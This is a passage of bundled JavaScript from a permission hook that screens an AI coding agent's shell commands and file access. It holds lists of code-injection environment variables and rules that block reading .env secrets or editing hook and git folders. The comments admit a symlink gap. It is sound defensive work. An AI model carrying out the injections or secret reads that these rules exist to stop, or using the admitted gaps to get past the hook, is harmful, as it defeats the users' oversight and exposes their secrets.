HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) -- safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) {\n const advice = rule.advise?.(tokens, ctx);\n return {\n action: \"allow\",\n rule: rule.name,\n reason: null,\n ...advice ? { advice } : {}\n };\n }\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c -> passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\n/**\n* The harness directs every temporary file to a per-session scratchpad under\n* the system temp directory, so denying it puts the hook at odds with the\n* prompt it ships beside.\n*\n* Matching the session id as a path segment rather than reconstructing the\n* documented full path is deliberate: the reconstruction encodes several\n* harness conventions, and when one changes it fails silently back to denying\n* every scratchpad write. The id arrives in the same payload as the path, so\n* the reach is one session's own temp tree.\n*\n* The payload schema only requires a string, so a degenerate id (empty, or a\n* couple of characters) would match as a path segment of nearly every path\n* under the temp directory and widen the allow to all of it. Real ids are\n* UUIDs; the length floor bounds the blast radius by construction rather than\n* trusting the harness to always produce one.\n*\n* `isWithin` compares lexically and does not resolve symlinks, so a symlink\n* planted inside the scratchpad pointing outside it is not caught. That\n* residual is accepted deliberately, the same as the cwd-scoped rules below --\n* the hook is a guardrail against accidents and prompt fatigue, not a sandbox.\n*/\nfunction isSessionScratch(filePath, ctx) {\n const { sessionId } = ctx;\n if (!sessionId || sessionId.length < MIN_SESSION_ID_LENGTH) return false;\n const resolved = resolveIn(ctx.cwd, filePath);\n if (!isWithin(os.tmpdir(), resolved)) return false;\n return resolved.split(path.sep).includes(sessionId);\n}\n/** Real session ids are UUIDs; see the length-floor rationale above. */\nconst MIN_SESSION_ID_LENGTH = 16;\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into 